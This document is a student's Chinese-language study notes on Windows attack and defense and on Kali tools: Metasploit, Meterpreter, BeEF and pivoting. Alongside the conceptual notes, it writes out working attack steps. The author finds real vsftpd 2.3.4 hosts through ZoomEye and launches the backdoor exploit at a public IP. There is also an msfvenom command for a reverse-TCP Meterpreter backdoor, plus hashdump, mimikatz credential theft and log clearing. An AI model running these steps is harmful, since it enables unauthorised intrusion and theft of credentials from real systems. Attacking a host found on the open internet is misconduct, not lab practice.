教材《网络攻防技术》第七章学习
第7章 Windows操作系统安全攻防
7.1 Windows操作系统基本框架概述
- windows基本结构分为运行于处理器特权模式的操作系统内核以及运行在处理器非特权模式的用户,即为内核态和用户态。
- 内核态:windows执行体、windows内核体、设备驱动程序、硬件抽象层、windows窗口与图形界面接口。
- 用户态:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
- 核心机制:进程和线程管理机制、内存管理机制、文件管理机制、注册表管理机制、网络管理机制。
- 网络管理机制:网卡硬件驱动程序(物理层)、NDIS库以及miniport驱动程序(链路层)、TDI传输层(网络协议驱动)(网络层和传输层)、网络APID以及TDI客户端(会话层和表示层)、网络应用程序和服务进程(应用层)。
7.2 Windows操作系统的安全体系结构和机制
- 监控器模型:主体到客体的访问都通过监控器作中间,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录都由监控器生成审计日志。
- 核心:SRM安全引用监控器(内核中)、LSASS安全服务(用户态)、winlogon/netlogn、以及Eventlog
- 身份认证机制:
- 安全主体:用户、用户组、计算机
- 身份认证:本地身份认证(winlogon进程、GINA图形化登录窗口与LSASS服务)、网络身份认证(NTLM、Lanman、kerberos)
- 授权与访问控制机制:
+对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。- 属性组成:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。
- 安全审计机制
- 其他安全机制:安全中心(防火墙、补丁自动更新、病毒防护),IPsec加载和验证机制,EPS加密文件系统,windows文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制。
7.3 Windows远程安全攻防技术
- 远程安全攻防技术包括远程口令猜解攻击、windows网络服务攻击,windows客户端和用户攻击。
- 生命周期:
- windows安全漏洞发现,利用与修补过程。
- 安全漏洞公开披露信息库:CVE,NVD,SecyrityFocus,OSVDB。
- 针对特定目标的渗透测试攻击过程:漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试。
- 使用metasploit软件实施渗透测试:用户接口(CLI、Console,web,GUI)。
- 远程口令猜解攻击:
- 远程口令猜解:SMB协议(tcp445、tcp139),其他包括WMI服务、TS远程桌面终端服务,MY SQL数据库服务、SharePoint。工具包括:Legion、enum、smbgrind、NTScan、XScan、流光。
- 远程口令字交换通信窃听与破解:NTLM、Lanman、NTLMV2和kerberos网络认证协议的弱点。
- 远程口令猜解的防范:关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。
- 网络服务远程渗透攻击:
- 针对NETBIOS服务的著名漏洞和攻击、针对SMB服务的著名漏洞和攻击、针对MSRPC服务的著名漏洞和攻击、针对windows系统上微软网络的远程渗透攻击、针对windows系统上第三方服务的远程渗透攻击。
- 防范措施:最基本的是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞。
7.4 Windows本地安全攻防技术
- 本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞,原因是服务器和桌面系统没有即时进行补丁更新。
- 敏感信息窃取:
- windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文)。
- windows系统口令字破解技术(L0phtCrack、John the Ripper、Cain)。
- 用户敏感数据窃取:find、findstr、grep、meterpreter。
- 本地敏感信息窃取防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。
- 消灭踪迹关闭审计功能、清理事件日志。
- 防范措施:事先设置系统审计和网络服务审计,日志记录在不可擦除的CDROM上。
- 远控和后门程序
- 远控:命令行远控工具(Netcat,psexec,meterpreter),图形化远控工具(VNC,RemoteAdmin,PCanyware)。
- 后门程序:国外(BO、BO2K),国内(冰河、灰鸽子、广外女生、PCshare、磁碟机、机器狗等)。
- 防范措施:后门检测软件、杀软、rootkitrerealer、IcSword。
kali视频学习
26.KaliSecruity-漏洞利用之检索与利用
- Exploit Database->searchsploit,会通过本地的Exploit-DB查找漏洞信息,可以借助关键词搜索漏洞信息以及漏洞对应的ex。需要注意的是,searchsploit 使用 AND 运算符,使用的术语越多,滤除的结果越多。
- ikat,自动化开启,等待目标访问中招。
- termineter,评估智能电表的安全性。
27.KaliSecruity-漏洞利用之Metasploit基础
Metasploit在渗透测试中经常被用到,实际上这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。这些工具或许在渗透测试中的每一方面都不能成为最好用的工具,但组合起来的框架却让它变得很强大。
1.开启服务
Kali漏洞工具集中的重要组成工具,需要先开启两个PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录。命令如下:
service postgresql start //启动postgresql数据库
service metasploit start
启动时发现显示错误,原因新的版本已经没有metasploit服务了。
需要使用以下方法打开带数据库支持的MSF服务:
输入msfdb init
初始化MSF数据库,再输入msfconsole
打开。
输入db_status
在msf中可以查看数据库连接状态
如果不想每次开机都手工启动服务,配置随系统启动:
update-rc.d postgresql enable
update-rc.d metasploit enable
2.路径介绍
kali中,msf的路径为/usr/share/metasploit-framework
。
3.基本命令
- msfpayload:用来生成payload或者shellcode,搜索时候可以用
msfpayload -l |grep “windows”
这样的命令来查询,-o
选项可以列出payload所需的参数。 - msfencode:msf中的编码器,早期为了编码绕过AV现在常用msfpayload与它编码避免exploit的坏字符串。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
- msfconsole:开启metasploit的console。
- msfvenom:是msfpayload和msfencode的混合体。msfpayload用来生成payload或者shellcode,msfencode是msf中的编码器。
4.测试示例
- 首先在https://www.zoomeye.org搜索
vsftpd-2.3.4 +country:"CN"
,可以搜索到运行该服务的主机,找到一个可以ping通的IP。
- 然后用
nmap -sV
扫描目标主机和端口上运行的软件的版本。结果显示目标主机运行着ftp服务器,且版本为vsftpd 2.3.4
(此版本的存在着漏洞,攻击者可以远程获取目标主机的root权限)。
- 下面利用metasploit实施攻击。命令行输入
msfconsole
开启metasploit的console,然后输入search vsftpd
,搜索与vsftpd匹配的模块。
- exploit/unix/ftp/vsftpd_234_backdoor针对的正好是扫描出的2.3.4版本,接下来就可以利用该模块对目标进行攻击。输入
use exploit/unix/ftp/vsftpd_234_backdoor
,提示符提示进入到该路径下,show options
查看需要设置的相关项。提示需要设置RHOST和RPORT(端口默认为21),set RHOST 111.13.70.33
设置目标IP。
- 接下来选择payload,输入命令
set payload
,按Tab键自动补齐攻击载荷cmd/unix/interact
,show options
查看需要设置的相关项,设置结束后输入exploit
即可实施攻击。
- 结果攻击失败,推测是对方打开了防火墙。
- 如果可以攻击成功的话,结果应该返回目标主机的shell,获取了目标主机的root权限,可以输入命令查看id、网络配置等。
28.KaliSecruity-漏洞利用之Metasploit介绍
Meterpreter是Metasploit框架中的一个拓展模块,作为溢出成功后的攻击载荷使用。攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。
常用的命令有:
background //将当前会话放置后台
load/use 加载模块
interact 切换进一个信道
migrate 迁移进程
run 执行一个已有的模块
Resource 执行一个已有的rc脚本常用的meterpreter类型:
payload windows/meterpreter/reverse_tcp
1.生成meterpreter后门
使用命令:msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.69.195 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
发现设置成功后仍无法显示,因为新版本的kali下msfpayload已经被移除了。新版本中只要使用msfvenom就行了,它集成了msfpayload和msfencode的功能。
所以新版本中生成meterpreter后门的命令等同为:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.69.195 LPORT=2333 -i 5 -f exe > /root/door.exe
生成成功,将其移入XP系统中,xp系统的IP地址为172.16.69.109。
2.打开MSF,开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
显示如下:
set LPORT 2333 \\设置监听端口
set LHOST 172.16.69.109 \\设置监听地址
设置后显示如下:
3.监听目标主机
在kali的msf中执行exploit开始监听,并且在目标主机上执行door.exe。
4.meterpreter shell
此时我们取得了一个meterpreter shell。在meterpreter shell中输入help查看可执行的命令,如sysinfo显示目标系统信息,hashdump抓取哈希,pwd显示当前路径等。
meterpreter还有一些扩展工具,使用load + tab键查看这些工具,然后选择所需工具进行使用(load mimikatz用来抓取系统明文)。
5.返回msf和进入sessions
输入background返回msf,如果想返回meterpreter shell,输入sessions查看ID,输入sessions -i ID选择想返回的会话。
29.KaliSecruity-漏洞利用之Metasploit后渗透测试
Meterpreter作为后渗透模块有很多类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。其有很多的功能,如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。
在跳板机获取一定权限后,需要积极的向内网主机权限发展,获取制定的目标信息,探查系统的漏洞,借助系统的漏洞,借助Msf已经得到的meterpreter后门,可以使系列的操作更容易。
1.查看跳板机的网卡设置
使用ifconfig
命令:
2.添加路由表
run autoroute -s 10.0.0.1
这是在Metasploit最常用的方法,在添加路由表和session的关系后,便可以使用msf中的模块跨网段扫描或攻击。
3.开启socks代理
通过使用auxiliary/server/socks4a
模块,创建一个socks代理,可以为浏览器,Sqlmap,Nmap等使用。
background //把session置于后台
search socks //使用socks开代理
use auxiliary/server/socks4a
showoptions
exploit
使用以上命令开启:
4.进入session后,输入run可以看到在meterpreter上可以做的很多命令。
5.通过run post/可以看到后渗透测试的模块。
30.KaliSecruity-漏洞利用之BeEF
对XSS漏洞往往需要一个强大的框架支持,如网络上的XSS平台,在KALI下,BeEf是一款丝毫不逊于XSS平台的工具。BeEf是浏览器攻击框架的简称,是一款专注于浏览器的渗透测试工具,它扩展了跨站漏洞的利用,能hook很多浏览器并可以执行很多内嵌命令。
1.BeEF攻击示例
- 命令行下启动BeEF。命令行输入
beef-xss
,出现错误提示说使用的是默认用户名,需要修改用户名或者密码才可以启动。
- 使用
vim /etc/beef-xss/config.yaml
修改密码为feeb,再次输入beef-xss
,浏览器自动访问页面http://127.0.0.1:3000/ui/authentication,输入用户名和密码登录后进入主界面。
- 假设被测试主机由于XSS漏洞请求到页面http://127.0.0.1:3000/demod/basic.html,这是一个测试页面,如果通过XSS把该页面加入页面请求中,也就是说每个访问某个页面的人都会访问该页面,则访问者就会被BeEF hook到,即加入到Online Browsers中。
- 这样在主界面左端就可以看到一个在线主机,右侧 Current Browser 标签页中显示一系列信息。
- HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令。以MISC下的Raw JavaScript模块为例进行测试,右端输入 Javascript code
alert('well done,man');return 'It worked!';
给目标弹出窗口,点击Excute进行攻击。
- 如果成功,会弹出窗口提示。
- 这时Command results显示
result=It worked!
。
2.BeEF的Proxy功能
- 选中目标主机,点击右键,在菜单中选中use as Proxy。
- 在Proxy选项卡中的Forge Request编辑并发送想要发送的内容,Host设置成为localhost
127.0.0.1:3000
。
- 点击send,在History选项卡中会显示执行请求的信息。
- 执行完毕后,点击该条目,查看包的细节。借助于此,可以让目标访问特定的页面,如果特定页面有漏洞,就会中招。
- 以上就是依赖目标做一个代理,然后请求一个特定页面的过程。
3.加载Metasploit
BeEF默认不加载Metasploit,如果要使用Metasploit丰富的攻击模块,需要做以下配置。
- 首先修改
/usr/share/beef-xss/config.yaml
文件,将metasploit设置为true。
- 然后修改
/usr/share/beef-xss/extensions/metasploit/config.yaml
文件,host和callback_host设置成本机IP地址,然后再修改Custom路径为/usr/share/metasploit-framework
即可。
- 设置完成后打开msfconsole,输入命令
load msgrpc ServerHost=172.16.69.195 Pass=abc123
。
- 此时进入目录
/usr/share/beef-xss/
,执行./beef -x
命令,重新加载metasploit模块。
-
service beef-xss start
命令重启服务,然后重新登陆BeEF,metasploit下增加了很多可以使用的模块,现在就可以使用metasploit的模块进行攻击了。
《Python 黑帽子》第六、九章
代码托管:
https://github.com/jsjliyang/python3-Black.Hat/tree/master/chapter6
https://github.com/jsjliyang/python3-Black.Hat/tree/master/chapter9